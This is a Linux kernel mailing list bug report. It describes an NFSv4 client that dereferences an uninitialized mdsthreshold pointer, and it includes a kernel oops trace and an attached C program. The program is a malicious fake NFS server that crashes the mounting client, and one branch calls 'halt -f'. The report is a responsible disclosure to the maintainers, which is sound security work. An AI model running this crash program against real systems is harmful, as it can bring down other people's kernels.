public inbox for linux-nfs@vger.kernel.org
 help / color / mirror / Atom feed
* NFS v4 client can dereference uninitialized pointer if server includes unrequested mdsthreshold attr
@ 2021-11-18 10:48 rtm
  0 siblings, 0 replies; only message in thread
From: rtm @ 2021-11-18 10:48 UTC (permalink / raw)
  To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs

[-- Attachment #1: Type: text/plain, Size: 2310 bytes --]

I think nfs_fattr_init() ought to set fattr->mdsthreshold to NULL. If
the kmalloc()'d attr memory doesn't happen to be zero at
fattr->mdsthreshold, and the server returns an unrequested mdsthreshold
attribute, then decode_getfattr_attrs() will try to store via the
uninitialized pointer in decode_first_threshold_item4().

I've attached a demo program, which I run with slub_debug=FZP:

# uname -a
Linux (none) 5.15.0-rc7-dirty #78 SMP Mon Nov 15 15:49:15 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_15.c
# ./nfs_15
...
[   27.950132] decode_attr_mdsthreshold: Warning: Multiple pNFS layout drivers per filesystem not supported
[   27.969630] Unable to handle kernel paging request at virtual address 6b6b6b6b6b6b6b6f
[   28.058092] epc : ffffffff8023dee0 ra : ffffffff8023deb2 sp : ffffffd00055b500
[   28.231013] status: 0000000200000121 badaddr: 6b6b6b6b6b6b6b6f cause: 000000000000000f
[   28.246069] [<ffffffff8023dee0>] decode_getfattr_attrs+0xdae/0x11fe
[   28.259758] [<ffffffff8023e44e>] decode_getfattr_generic.constprop.0+0x11e/0x1b2
[   28.275547] [<ffffffff8023ec86>] nfs4_xdr_dec_lookup+0xa2/0xac
[   28.289208] [<ffffffff80754750>] rpcauth_unwrap_resp_decode+0x12/0x1a
[   28.302635] [<ffffffff8075540c>] rpcauth_unwrap_resp+0x12/0x1a
[   28.316324] [<ffffffff8074b7a8>] call_decode+0x112/0x176
[   28.327634] [<ffffffff80753c8c>] __rpc_execute+0x76/0x216
[   28.338932] [<ffffffff807542aa>] rpc_execute+0x58/0x7e
[   28.350241] [<ffffffff8074cb34>] rpc_run_task+0x12c/0x16c
[   28.361567] [<ffffffff8022271e>] nfs4_call_sync_custom+0x12/0x32
[   28.375315] [<ffffffff802227ae>] nfs4_do_call_sync+0x70/0x8c
[   28.389058] [<ffffffff802233ba>] _nfs4_proc_lookup+0xf2/0x11a
[   28.402819] [<ffffffff8022e7ea>] nfs4_proc_lookup_common+0x7c/0x2a2
[   28.416516] [<ffffffff8022eace>] nfs4_proc_lookup+0x42/0x9e
[   28.427830] [<ffffffff80209c02>] nfs_lookup+0xa6/0x122
[   28.439138] [<ffffffff80209f18>] nfs_atomic_open+0x29a/0x342
[   28.452815] [<ffffffff8013756e>] path_openat+0x5ca/0xaf6
[   28.464063] [<ffffffff80138468>] do_filp_open+0x70/0xd0
[   28.475375] [<ffffffff801276de>] do_sys_openat2+0x1fc/0x298
[   28.486697] [<ffffffff80128870>] do_sys_open+0x3c/0x78
[   28.497986] [<ffffffff801288ee>] sys_openat+0x18/0x20
[   28.509270] [<ffffffff80003046>] ret_from_syscall+0x0/0x2


[-- Attachment #2: nfs_15.c --]
[-- Type: application/octet-stream, Size: 19454 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <assert.h>

int sym_op = 9;
int sym_skip = 10;
int sym_type = 0; // all fattr4 file types
int sym_fh = 0; // all file handles
int sym_bitmaps = 0;

int opcounts[256];
long long next_cookie = 3;
int current_fh = 0;

// map file/dir names to file handle
char *fhnames[] = {
               "",
               "tmp",
               "x",
               "y",
               "z",
               "zzz",
               0
};

int
name2fh(char *name)
{
  for(int i = 0; fhnames[i]; i++){
    if(strcmp(name, fhnames[i]) == 0)
      return i;
  }
  return 100;
}

#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x2000000ull,
0x0ull,
0x20000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x8000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x10000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x6508000006000000ull,
0xf08dull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x20000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;

char ibuf[4096];
int ilen = 0;
int ii = 0;
char obuf[4096];
int oi = 0;
int symstart = -1;
int symend = -1;

int readn(int fd, void *xbuf, int n) {
  char *buf = (char *) xbuf;
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

unsigned int
parse32()
{
  if(ii >= ilen){
    printf("parsed beyond the end of the input\n");
    return 0;
  }
  unsigned int x = *(int*)(ibuf+ii);
  ii += 4;
  return ntohl(x);
}

unsigned long long
parse64()
{
  unsigned long long hi = parse32();
  unsigned long long lo = parse32();
  return (hi << 32) | lo;
}

// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

unsigned int
parse_opaque(char *buf)
{
  if(buf)
    buf[0] = 0;
  int nominal_n = parse32();
  if(nominal_n > 4096){
    printf("crazy opaque length %d\n", nominal_n);
    return 0;
  }
  int real_n = nominal_n;
  while((real_n%4) != 0) real_n += 1;
  for(int i = 0; i < real_n; i++){
    if(buf && i < real_n)
      buf[i] = ibuf[ii];
    ii++;
  }
  return nominal_n;
}

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, char *buf)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while((n%4)!=0){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
parse_nop()
{
}

void
parse_op_exchange_id()
{
  parse32(); // verifier4, first half
  parse32(); // verifier4, second half
  parse_opaque(0); // eia_clientowner
  int cflags = parse32(); // eia_flags
  parse32(); // state_protect4_a.spa_how, assume SP4_NONE
  int nimpl = parse32(); // length of client_impl_id
  for(int impli = 0; impli < nimpl; impli++){
    char junk[512];
    parse_opaque(junk); // nii_domain
    // printf("nii_domain: %s\n", junk);
    parse_opaque(junk); // nii_name
    // printf("nii_name: %s\n", junk);
    parse64(); // 1/2 of nfstime4
    parse32(); // 1/2 of nfstime4
  }

  // finish EXCHANGE_ID4res
  put32(0); // eir_status = NFS4_OK
  put64(1); // clientid4
  put32(1); // sequenceid4
  int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS
  put32(sflags); // eir_flags
  put32(0); // state_protect4_r.spr_how = SP4_NONE
  put64(1); // server_owner4.so_minor_id
  put32(4); // length of so_major_id<>
  put32(0x11223344); // so_major_id<>
  put32(4); // length of eir_server_scope
  put32(0x11223344);
  put32(1); // length of eir_server_impl_id<1>
  put32(4); // nfs_impl_id4.nii_domain
  put32(0x11223344);
  put32(4); // nfs_impl_id4.nii_name
  put32(0x11223344);
  put64(0); // nii_date 1/2
  put32(0); // nii_date 2/2
}

void
parse_op_create_session()
{
  parse64(); // csa_clientid
  int seq = parse32(); // csa_sequence
  parse32(); // csa_flags
  // csa_fore_chan_attrs, csa_back_chan_attrs
  int attrs[2][6];
  for(int i = 0; i < 2; i++){
    for(int j = 0; j < 6; j++){
      attrs[i][j] = parse32();
    }
    parse_opaque(0); // ca_rdma_ird<1>
  }

  put32(0); // OK
  for(int i = 0; i < 4; i++)
    put32(1); // csr_sessionid i/4
  put32(seq); // csr_sequence
  put32(0x3); // csr_flags

  for(int i = 0; i < 2; i++){
    for(int j = 0; j < 6; j++)
      put32(attrs[i][j]);
    put32(0); // ca_rdma_ird
  }
}

void
parse_op_sequence()
{
  char sid[16];

  parse_sid(sid); // sa_sessionid
  int seq = parse32(); // sa_sequenceid
  int slot = parse32(); // sa_slotid
  int hislot = parse32(); // sa_highest_slotid
  parse32(); // sa_cachethis

  put32(0); // OK
  put_sid(sid); // sr_sessionid
  put32(seq); // sr_sequenceid
  put32(slot); // sr_slotid
  put32(hislot); // sr_highest_slotid
  put32(hislot); // sr_target_highest_slotid
  put32(0); // sr_status_flags
}

void
parse_op_reclaim_complete()
{
  parse32(); // rca_one_fs
  put32(0); // rcr_status
}

void
parse_op_putrootfh()
{
  // no arguments
  put32(0); // OK
  current_fh = 0;
}

void
parse_op_secinfo_no_name()
{
  parse32(); // secinfo_style4
  put32(0); // OK
  put32(1); // # of secinfo4
#if 1
  put32(0); // flavor = AUTH_NULL
#else
  put32(6); // flavor = RPCSEC_GSS
  put32(4); // size of sec_oid4
  put32(0xffffffff);
  put32(0); // qop4
  put32(1); // rpc_gss_svc_t
#endif
}

void
parse_op_destroy_session()
{
  parse_sid(0);
  put32(0); // OK
}

void
parse_op_destroy_clientid()
{
  parse64(); // clientid
  put32(0); // OK
}

void
parse_op_getfh()
{
  // no arguments
  put32(0); // OK
  int xfh = current_fh;
  if(sym_fh) xfh ^= aa[aai++];
  put_opaque(4, (char*)&xfh); // fh
}

//
// called by getattr and readdir.
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int bitwords, int xwords[], int fh)
{
  int words[3];
  for(int i = 0; i < 3; i++){
    if(i < bitwords)
      words[i] = xwords[i];
    else
      words[i] = 0;
    if(sym_bitmaps){
      words[i] ^= aa[aai++];
    }
  }
  bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      if(a == 0){
        put32(2); // # bitmap words of supported attrs
        put32(0xffffffff);
        put32(0xffffffff);
      } else if(a == 1){
        int type = 1;
        if(fh == 0 || fh == 1)
          type = 2;
        if(sym_type) type ^= aa[aai++];
        put32(type); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(0); // fh_expire_type
      } else if(a == 3){
        put64(0); // change
      } else if(a == 4){
        put64(4096*10); // size
      } else if(a == 5){
        put32(1); // link support
      } else if(a == 6){
        put32(1); // symlink support
      } else if(a == 8){
        put64(1); // fsid major
        put64(1); // fsid minor
      } else if(a == 10){
        put32(1); // lease time
      } else if(a == 11){
        put32(0); // rdattr_error
      } else if(a == 13){
        put32(0xf); // aclsupport
      } else if(a == 19){
        // filehandle
        int xfh = fh;
        if(sym_fh) xfh ^= aa[aai++];
        put_opaque(4, (char*)&xfh); // fh
      } else if(a == 20){
        put64(fh); // fileid
      } else if(a == 24){
        // fs_locations
        put32(1);
        put_opaque(10, "abcde12345"); // pathname4
        put32(1); // locations<>
        put_opaque(10, "abcde12345"); // server
        put32(1);
        put_opaque(10, "abcde12345"); // rootpath
      } else if(a == 27){
        put64(0xffffffffffff); // max file size
      } else if(a == 28){
        put32(0xffff); // max link
      } else if(a == 29){
        put32(256); // max name
      } else if(a == 30){
        put64(10*4096); // max read
      } else if(a == 31){
        put64(10*4096); // max write
      } else if(a == 33){
        put32(0777); // mode
      } else if(a == 35){
        put32(3); // numlinks
      } else if(a == 36){
        put_opaque(6, "other"); // owner
      } else if(a == 37){
        put_opaque(6, "other"); // owner_group
      } else if(a == 41){
        put32(1); // rawdev major
        put32(1); // rawdev minor
      } else if(a == 45){
        put64(4096*10); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(0); // time delta seconds
        put32(0); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(0); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(1);
        put32(1); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        put32(2); // bitmap length
        put32(0xffffffff);
        put32(0xffffffff);
      } else {
        if(sym_bitmaps){
          words[a/32] &= ~(1 << (a % 32));
          *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
        } else {
          printf("unknown requested attr %d\n", a);
          put64(0); // XXX
        }
      }
    }
  }
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

void
parse_op_getattr()
{
  int bitwords = parse32();
  int words[64];
  for(int i = 0; i < bitwords; i++)
    words[i] = parse32();
  put32(0); // OK
  put_fattr4(bitwords, words, current_fh);
}

void
parse_op_putfh()
{
  char buf[64];
  int n = parse_opaque(buf); // fh
  if(n != 4){
    printf("op_putfh fh size %d, not 4\n", n);
    exit(1);
  }
  int fh = *(int*)buf;
  current_fh = fh;
  put32(0); // OK
}

void
parse_op_access()
{
  int mask = parse32(); // mask of rights to query
  put32(0); // OK
  put32(0x3f); // supported = all rights
  put32(0x3f); // access = all rights
}

void
parse_op_lookup()
{
  char name[256];
  int n = parse_opaque(name);
  name[n>=0?n:0] = '\0';
  printf("lookup %s\n", name);
  put32(0); // OK
  current_fh = name2fh(name);
}

void
parse_op_readdir()
{
  long long cookie = parse64();
  long long verf = parse64(); // cookie verifier
  parse32(); // dircount
  parse32(); // maxcount
  // attr_request
  int bitwords = parse32();
  int words[32];
  for(int i = 0; i < bitwords; i++)
    words[i] = parse32();

  put32(0); // OK
  put64(verf); // cookieverf
  char *names[] = { "z", "zzz" };
  for(int i = 0; i < 2; i++){
    put32(1); // *nextentry
    put64(next_cookie++); // cookie
    put_opaque(3, names[i]); // name
    put_fattr4(bitwords, words, name2fh(names[i]));
  }

  put32(0); // *nextentry

  put32(1); // eof
}

void
parse_op_open()
{
  char name[256];
  name[0] = 0;
  parse32(); // seqid
  parse32(); // share_access
  parse32(); // share_deny
  parse64(); // owner client id
  parse_opaque(0); // owner owner
  // openflag4
  int opentype = parse32();
  if(opentype == 1){
    // OPEN4_CREATE
    int mode = parse32(); // createhow4
    if(mode == 0){
      // UNCHECKED4
      // fattr4 createattrs
      int bitwords = parse32();
      int words[32];
      for(int i = 0; i < bitwords; i++)
        words[i] = parse32();
      parse_opaque(0); // attrlist4
    } else {
      printf("OPEN4_CREATE unknown mode %d\n", mode);
      exit(1);
    }
  } else if(opentype == 0){
    // OPEN4_NOCREATE
  } else {
    printf("unknown opentype %d\n", opentype);
    exit(1);
  }
  int open_claim_type = parse32();
  if(open_claim_type == 0){
    // CLAIM_NULL
    parse_opaque(name); // file name
  } else if(open_claim_type == 2){
    // CLAIM_DELEGATE_CUR
    // open_claim_delegate_cur4
    // stateid4
    parse32(); // seqid
    parse32();
    parse32();
    parse32();
    parse_opaque(name); // file name
  } else if(open_claim_type == 4){
    // CLAIM_FH
  } else {
    printf("oy, open_claim_type %d\n", open_claim_type);
    exit(1);
  }

  put32(0); // OK
  // stateid4
  put32(1); // seqid
  put32(1); // other
  put32(1);
  put32(1);
  // change_info4
  put32(1);
  put64(0); // before
  put64(0); // after
  put32(0); // rflags
  put32(0); // attrset bitmap length
  // open_delegation4
  put32(0); // OPEN_DELEGATE_NONE
  printf("  name=%s\n", name);
  if(name[0]){
    current_fh = name2fh(name);
  } else {
    printf("op_open: no name with which to set fh\n");
  }
}

void
parse_op_setattr()
{
  // stateid4
  parse32(); // seqid
  parse32(); // other
  parse32(); // other
  parse32(); // other
  // fattr4
  int bitwords = parse32();
  int words[64];
  for(int i = 0; i < bitwords; i++)
    words[i] = parse32();
  parse_opaque(0); // attrlist4

  put32(0); // OK
  put32(bitwords);
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
}

void
parse_op_layoutget()
{
  parse32(); // loga_signal_layout_avail
  parse32(); // layouttype4
  parse32(); // layoutiomode4
  parse64(); // offset
  parse64(); // length
  parse64(); // minlength
  parse32(); // stateid4 seqid
  parse32(); // stateid4 other
  parse32(); // stateid4 other
  parse32(); // stateid4 other
  parse32(); // count32
  
  put32(0); // OK
  put32(0); // return_on_close
  put32(0); // stateid4 seqid
  put32(0); // stateid4 other
  put32(0); // stateid4 other
  put32(0); // stateid4 other
  put32(1); // # of layout4
  put64(0); // offset
  put64(1000000); // length
  put32(3); // layoutiomode4
  put32(1); // layouttype4
  put_opaque(8, "xxxxxxxx"); // loc_body
}

void
parse_op_write()
{
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse64(); // offset
  parse32(); // stable_how4
  int n = parse_opaque(0); // data

  put32(0); // OK
  put32(n); // count
  put32(0); // UNSTABLE4
  put64(1); // verifier
}

void
parse_op_read()
{
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse64(); // offset
  parse32(); // count

  put32(0); // OK
  put32(1); // eof
  put_opaque(4, "abcd");
}

void
parse_op_commit()
{
  parse64(); // offset
  parse32(); // count
  put32(0); // OK
  put64(1); // verifier4
}

void
parse_compound()
{
  char tag[512];
  int taglen = parse_opaque(tag); // tag
  parse32(); // minor version
  int nops = parse32();

  // start a COMPOUND4res
  put32(0); // nfsstat4 = NFS4_OK
  put_opaque(taglen, tag);
  put32(nops); // length of resarray<>
  
  for(int opindex = 0; opindex < nops && oi < ilen; opindex++){
    int op = parse32();
    printf("op %d #%d\n", op, opcounts[op&0xff]);
    put32(op); // resop in nfs_resop4
    if(sym_op == op){
      if(sym_skip <= 0){
        symstart = oi;
      }
      sym_skip -= 1;
    }
    if(op == 42){
      parse_op_exchange_id();
    } else if(op == 43){
      parse_op_create_session();
    } else if(op == 53){
      parse_op_sequence();
    } else if(op == 58){
      parse_op_reclaim_complete();
    } else if(op == 24){
      parse_op_putrootfh();
    } else if(op == 52){
      parse_op_secinfo_no_name();
    } else if(op == 44){
      parse_op_destroy_session();
    } else if(op == 57){
      parse_op_destroy_clientid();
    } else if(op == 10){
      parse_op_getfh();
    } else if(op == 9){
      parse_op_getattr();
    } else if(op == 22){
      parse_op_putfh();
    } else if(op == 3){
      parse_op_access();
    } else if(op == 15){
      parse_op_lookup();
    } else if(op == 26){
      parse_op_readdir();
    } else if(op == 18){
      parse_op_open();
    } else if(op == 34){
      parse_op_setattr();
    } else if(op == 50){
      parse_op_layoutget();
    } else if(op == 38){
      parse_op_write();
    } else if(op == 25){
      parse_op_read();
    } else if(op == 5){
      parse_op_commit();
    } else {
      printf("unknown op %d\n", op);
      // cannot continue to the next op since
      // we don't know how long this one is.
      break;
    }
    if(symstart != -1)
      symend = oi;
    opcounts[op&0xff] += 1;
  }
}

void
parse_rpc()
{
  // SUN RPC
  int xid = parse32();
  parse32(); // mtype=CALL
  parse32(); // rpc version
  parse32(); // prog#
  parse32(); // prog vers
  int proc = parse32();
  parse32(); // cred type
  parse_opaque(0); // cred
  parse32(); // verf type
  parse_opaque(0); // verf

  put32(xid);
  put32(1); // REPLY
  put32(0); // MSG_ACCEPTED
  put32(0); // opaque_auth flavor = AUTH_NULL
  put32(0); // opaque_auth length
  put32(0); // SUCCESS

  if(proc == 0){
    parse_nop();
  } else if(proc == 1){
    parse_compound();
  } else {
    printf("unknown rpc proc %d\n", proc);
  }
}

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(2049);
  int yes = 1;
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind"); exit(1);
  }
  listen(s, 10);


  int pid1 = fork();
  if(pid1 == 0){
    close(s);
    if(system("echo -n mount: ; mount -o nolock,nodev 127.0.0.1:/tmp /mnt") == 0){
      int fd = open("/mnt/z", 0);
      if(fd >= 0){
        struct stat sb;
        memset(&sb, 0, sizeof(sb));
        fstat(fd, &sb);
        if((sb.st_mode & S_IFMT) == S_IFCHR){
          printf("oops st_mode 0%o -- character device\n", sb.st_mode);
          system("halt -f");
        }
      }
      system("echo -n umount: ; umount /mnt");
    }
    exit(0);
  }

  int pid2 = fork();
  if(pid2 == 0){

    socklen_t sinlen = sizeof(sin);
    printf("calling accept\n");
    int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
    printf("accept returned %d\n", s1);
    if(s1 < 0) { perror("accept"); exit(1); }
    close(s);
  
    while(1){
      if(readn(s1, &ilen, 4) < 0) break;
      ilen = ntohl(ilen);
      ilen &= 0x7fffffff;
      if(readn(s1, ibuf, ilen) < 0) break;
      oi = ii = 0;
      put32(0); // place-holder for length
      parse_rpc();
      *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
      if(aai > NAA){
        printf("oops aai %d NAA %d\n", aai, NAA);
        exit(1);
      }
      if(symstart != -1){
        for(int i = symstart; i < oi && i < symend && aai < NAA; i += 8)
          *(unsigned long long *)(obuf + i) ^= aa[aai++];
        symstart = -1;
      }
      if(write(s1, obuf, oi)<=0) perror("write");
    }
    exit(1);
  }
  close(s);
  sleep(20);
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2021-11-18 10:48 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2021-11-18 10:48 NFS v4 client can dereference uninitialized pointer if server includes unrequested mdsthreshold attr rtm

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox